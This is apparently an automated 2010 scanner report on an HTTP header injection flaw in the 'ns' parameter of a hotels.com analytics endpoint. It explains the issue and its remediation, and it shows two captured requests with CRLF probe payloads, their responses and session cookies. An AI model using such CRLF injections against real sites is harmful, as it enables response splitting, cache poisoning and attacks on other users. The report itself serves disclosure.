Report generated by XSS.CX at Sun Nov 14 09:34:49 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. HTTP header injection

1.1. http://om.hotels.com/b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65174817913211 [ns parameter]

1.2. http://om.hotels.com/b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65738629824481 [ns parameter]



1. HTTP header injection
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://om.hotels.com/b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65174817913211 [ns parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://om.hotels.com
Path:   /b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65174817913211

Issue detail

The value of the ns request parameter is copied into the Location response header. The payload a3187%0d%0ad7267f92743 was submitted in the ns parameter. This caused a response containing an injected HTTP header.

Request

GET /b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65174817913211?AQB=1&ndh=1&t=13/10/2010%2020%3A40%3A14%206%20360&vmt=4DAF115B&ce=UTF-8&ns=a3187%0d%0ad7267f92743&cdp=2&pageName=search%20result%20with%20dates&g=http%3A//www.hotels.com/search.do%3FjsDetect%26searchParams.arrivalDate%3D11-17-10%26pointName%26searchParams.departureDate%3D11-18-10%26lon%3D0.0%26queryFormState%3DCLOSED%26monthCheckOut%3D11%26fromHotelDetails%3Dfalse%26destination%3DBoston%252C%2BMA%26showSimilarDestinations%3Dtrue%26fromLandma&cc=USD&events=event33&products=EXPEDIA%3B13%3A908619&c5=251463&v13=251463&c27=45a3de35-24bb-4324-b7d7-a411c57e3154&c32=en_US%7CHCOM_US%7Cwww.hotels.com&v34=HL001.01&v35=HL001.01&v43=en_US%7CHCOM_US%7Cwww.hotels.com&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=264&bh=703&p=Google%20Gears%200.5.33.0%3BShockwave%20Flash%3BAdobe%20Acrobat%3BJava%20Deployment%20Toolkit%206.0.210.7%3BJava%28TM%29%20Platform%20SE%206%20U21%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev2=TravelAd&AQE=1 HTTP/1.1
Host: om.hotels.com
Proxy-Connection: keep-alive
Referer: http://www.hotels.com/search.do?jsDetect&searchParams.arrivalDate=11-17-10&pointName&searchParams.departureDate=11-18-10&lon=0.0&queryFormState=CLOSED&monthCheckOut=11&fromHotelDetails=false&destination=Boston%2C+MA&showSimilarDestinations=true&fromLandmark=false&searchParams.rooms[0].numberOfAdults=1&asaReport&dayInMonthCheckIn=17&fromDisambiguation=false&destinationForLandmark&monthCheckIn=11&activeTab=DESTINATION&dayInMonthCheckOut=18&lat=0.0&rooms=1&ppc=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESSID=C8DF9272F073BD49CDA6051C83CC51EA.hm13tc03; guid=45a3de35-24bb-4324-b7d7-a411c57e3154; channel=DC; SSLB=0; homepage_search_data="Qm9zdG9uLCBNQQ..//11/17/10//11/18/10//1//MM/dd/yy//1643195"; jsEnabled=true; __utmz=105755674.1289702399.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=105755674.1750095063.1289702399.1289702399.1289702399.1; __utmc=105755674; __utmb=105755674.1.10.1289702399; hcomPSRC=OT2; user=QSplbl9VU3xIQ09NX1VT; mvthistory=84.1.0%3A49.0.0%3A86.0.0%3A98.6.7%3A83.3.2%3A97.2.1%3A44.212.0%7CHCOM_US; s_cc=true; s_sv_sid=786428637232; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 302 Found
Date: Sat, 13 Nov 2010 22:02:07 GMT
Server: Omniture DC/2.0.0
Location: http://a3187
d7267f92743
.112.2o7.net/b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65174817913211?AQB=1&vmh=om.hotels.com&&ndh=1&t=13/10/2010%2020%3A40%3A14%206%20360&vmt=4DAF115B&ce=UTF-8&ns=a3187%0d%0ad7267f92743&cdp=2&pageName=search%20result%20with%20dates&g=http%3A//www.hotels.com/search.do%3FjsDetect%26searchParams.arrivalDate%3D11-17-10%26pointName%26searchParams.departureDate%3D11-18-10%26lon%3D0.0%26queryFormState%3DCLOSED%26monthCheckOut%3D11%26fromHotelDetails%3Dfalse%26destination%3DBoston%252C%2BMA%26showSimilarDestinations%3Dtrue%26fromLandma&cc=USD&events=event33&products=EXPEDIA%3B13%3A908619&c5=251463&v13=251463&c27=45a3de35-24bb-4324-b7d7-a411c57e3154&c32=en_US%7CHCOM_US%7Cwww.hotels.com&v34=HL001.01&v35=HL001.01&v43=en_US%7CHCOM_US%7Cwww.hotels.com&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=264&bh=703&p=Google%20Gears%200.5.33.0%3BShockwave%20Flash%3BAdobe%20Acrobat%3BJava%20Deployment%20Toolkit%206.0.210.7%3BJava%28TM%29%20Platform%20SE%206%20U21%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pe=lnk_o&pev2=TravelAd&AQE=1
Expires: Fri, 12 Nov 2010 22:02:07 GMT
Last-Modified: Sun, 14 Nov 2010 22:02:07 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
xserver: www279
Content-Length: 0
Content-Type: text/plain


1.2. http://om.hotels.com/b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65738629824481 [ns parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://om.hotels.com
Path:   /b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65738629824481

Issue detail

The value of the ns request parameter is copied into the Location response header. The payload 9c3b7%0d%0a5e0ef521ab4 was submitted in the ns parameter. This caused a response containing an injected HTTP header.

Request

GET /b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65738629824481?AQB=1&ndh=1&t=13/10/2010%2020%3A40%3A8%206%20360&vmt=4DAF115B&ce=UTF-8&ns=9c3b7%0d%0a5e0ef521ab4&cdp=2&pageName=search%20result%20with%20dates&g=http%3A//www.hotels.com/search.do%3FjsDetect%26searchParams.arrivalDate%3D11-17-10%26pointName%26searchParams.departureDate%3D11-18-10%26lon%3D0.0%26queryFormState%3DCLOSED%26monthCheckOut%3D11%26fromHotelDetails%3Dfalse%26destination%3DBoston%252C%2BMA%26showSimilarDestinations%3Dtrue%26fromLandma&r=http%3A//www.hotels.com/search.do%3FsearchParams.arrivalDate%3D11-17-10%26pointName%26searchParams.departureDate%3D11-18-10%26lon%3D0.0%26queryFormState%3DCLOSED%26monthCheckOut%3D11%26fromHotelDetails%3Dfalse%26destination%3DBoston%252C%2BMA%26showSimilarDestinations%3Dtrue%26fromLandmark%3Dfalse%26&cc=USD&ch=Results%20%3A%20List&server=www.hotels.com&v0=mdp.hcom.US.085.160.02.oikayak&v1=city%7Cexact_red%7Chigh&c2=UBS&v2=Boston%2C%20MA&c3=Boston%2C%20MA&v3=1%7C0&c4=1&v4=Not%20Signed%20In%7CNew%20Visitor&c5=251463&v5=1&v6=1643195&c7=254&v7=4&c8=28&v8=1&c9=282&v9=UBS&v13=251463&c14=4&c15=1&c18=1643195&c19=1&c20=1&c21=0&v21=mdp.hcom.US.085.160.02.oikayak&v26=US%3ATX%3ADALLAS%3A623&c27=45a3de35-24bb-4324-b7d7-a411c57e3154&c28=0&c29=4%7C1%7C20101117%7C20101118&c30=city%7Cexact_red%7Chigh&v31=mdp.hcom.US.085.160.02.oikayak&c32=en_US%7CHCOM_US%7Cwww.hotels.com&v32=mdp.hcom.US.085.160.02.oikayak&c33=Search%3A%3AUnknown%3A%3AAutosuggest%3A%3ANoSuggest&v33=Search%3A%3AUnknown%3A%3AAutosuggest%3A%3ANoSuggest&c34=24.1.84079&v34=H84.1%2CH49.0%2CH86.0%2CH98.6%2CH83.3%2CH97.2%2CH44.212&c35=16562%20%7C%20326%20%7C%2070%20%7C%201137%20%7C%201%7C1000%7Cvhigh&v35=H84.1.0%2CH49.0.0%2CH86.0.0%2CH98.6.0%2CH83.3.0%2CH97.2.0%2CH44.212.0&c36=Not%20Signed%20In%7CNew%20Visitor&c38=not%20a%20loyalty%20member&c39=not%20signed%20in&v40=mdp.hcom.US.085.160.02.oikayak&v41=USD&v42=4%7C1%7C20101117%7C20101118&v43=en_US%7CHCOM_US%7Cwww.hotels.com&c50=hermom05&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=264&bh=703&p=Google%20Gears%200.5.33.0%3BShockwave%20Flash%3BAdobe%20Acrobat%3BJava%20Deployment%20Toolkit%206.0.210.7%3BJava%28TM%29%20Platform%20SE%206%20U21%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: om.hotels.com
Proxy-Connection: keep-alive
Referer: http://www.hotels.com/search.do?jsDetect&searchParams.arrivalDate=11-17-10&pointName&searchParams.departureDate=11-18-10&lon=0.0&queryFormState=CLOSED&monthCheckOut=11&fromHotelDetails=false&destination=Boston%2C+MA&showSimilarDestinations=true&fromLandmark=false&searchParams.rooms[0].numberOfAdults=1&asaReport&dayInMonthCheckIn=17&fromDisambiguation=false&destinationForLandmark&monthCheckIn=11&activeTab=DESTINATION&dayInMonthCheckOut=18&lat=0.0&rooms=1&ppc=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESSID=C8DF9272F073BD49CDA6051C83CC51EA.hm13tc03; guid=45a3de35-24bb-4324-b7d7-a411c57e3154; channel=DC; SSLB=0; homepage_search_data="Qm9zdG9uLCBNQQ..//11/17/10//11/18/10//1//MM/dd/yy//1643195"; jsEnabled=true; __utmz=105755674.1289702399.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=105755674.1750095063.1289702399.1289702399.1289702399.1; __utmc=105755674; __utmb=105755674.1.10.1289702399; hcomPSRC=OT2; user=QSplbl9VU3xIQ09NX1VT; mvthistory=84.1.0%3A49.0.0%3A86.0.0%3A98.6.7%3A83.3.2%3A97.2.1%3A44.212.0%7CHCOM_US; s_cc=true

Response

HTTP/1.1 302 Found
Date: Sat, 13 Nov 2010 22:12:37 GMT
Server: Omniture DC/2.0.0
Location: http://9c3b7
5e0ef521ab4
.112.2o7.net/b/ss/hotelsusprod,hotelsallprod/1/H.20.2/s65738629824481?AQB=1&vmh=om.hotels.com&&ndh=1&t=13/10/2010%2020%3A40%3A8%206%20360&vmt=4DAF115B&ce=UTF-8&ns=9c3b7%0d%0a5e0ef521ab4&cdp=2&pageName=search%20result%20with%20dates&g=http%3A//www.hotels.com/search.do%3FjsDetect%26searchParams.arrivalDate%3D11-17-10%26pointName%26searchParams.departureDate%3D11-18-10%26lon%3D0.0%26queryFormState%3DCLOSED%26monthCheckOut%3D11%26fromHotelDetails%3Dfalse%26destination%3DBoston%252C%2BMA%26showSimilarDestinations%3Dtrue%26fromLandma&r=http%3A//www.hotels.com/search.do%3FsearchParams.arrivalDate%3D11-17-10%26pointName%26searchParams.departureDate%3D11-18-10%26lon%3D0.0%26queryFormState%3DCLOSED%26monthCheckOut%3D11%26fromHotelDetails%3Dfalse%26destination%3DBoston%252C%2BMA%26showSimilarDestinations%3Dtrue%26fromLandmark%3Dfalse%26&cc=USD&ch=Results%20%3A%20List&server=www.hotels.com&v0=mdp.hcom.US.085.160.02.oikayak&v1=city%7Cexact_red%7Chigh&c2=UBS&v2=Boston%2C%20MA&c3=Boston%2C%20MA&v3=1%7C0&c4=1&v4=Not%20Signed%20In%7CNew%20Visitor&c5=251463&v5=1&v6=1643195&c7=254&v7=4&c8=28&v8=1&c9=282&v9=UBS&v13=251463&c14=4&c15=1&c18=1643195&c19=1&c20=1&c21=0&v21=mdp.hcom.US.085.160.02.oikayak&v26=US%3ATX%3ADALLAS%3A623&c27=45a3de35-24bb-4324-b7d7-a411c57e3154&c28=0&c29=4%7C1%7C20101117%7C20101118&c30=city%7Cexact_red%7Chigh&v31=mdp.hcom.US.085.160.02.oikayak&c32=en_US%7CHCOM_US%7Cwww.hotels.com&v32=mdp.hcom.US.085.160.02.oikayak&c33=Search%3A%3AUnknown%3A%3AAutosuggest%3A%3ANoSuggest&v33=Search%3A%3AUnknown%3A%3AAutosuggest%3A%3ANoSuggest&c34=24.1.84079&v34=H84.1%2CH49.0%2CH86.0%2CH98.6%2CH83.3%2CH97.2%2CH44.212&c35=16562%20%7C%20326%20%7C%2070%20%7C%201137%20%7C%201%7C1000%7Cvhigh&v35=H84.1.0%2CH49.0.0%2CH86.0.0%2CH98.6.0%2CH83.3.0%2CH97.2.0%2CH44.212.0&c36=Not%20Signed%20In%7CNew%20Visitor&c38=not%20a%20loyalty%20member&c39=not%20signed%20in&v40=mdp.hcom.US.085.160.02.oikayak&v41=USD&v42=4%7C1%7C20101117%7C20101118&v43=en_US%7CHCOM_US%7Cwww.hotels.com&c50=hermom05&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=264&bh=703&p=Google%20Gears%200.5.33.0%3BShockwave%20Flash%3BAdobe%20Acrobat%3BJava%20Deployment%20Toolkit%206.0.210.7%3BJava%28TM%29%20Platform%20SE%206%20U21%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1
Expires: Fri, 12 Nov 2010 22:12:37 GMT
Last-Modified: Sun, 14 Nov 2010 22:12:37 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
xserver: www309
Content-Length: 0
Content-Type: text/plain


Report generated by XSS.CX at Sun Nov 14 09:34:49 CST 2010.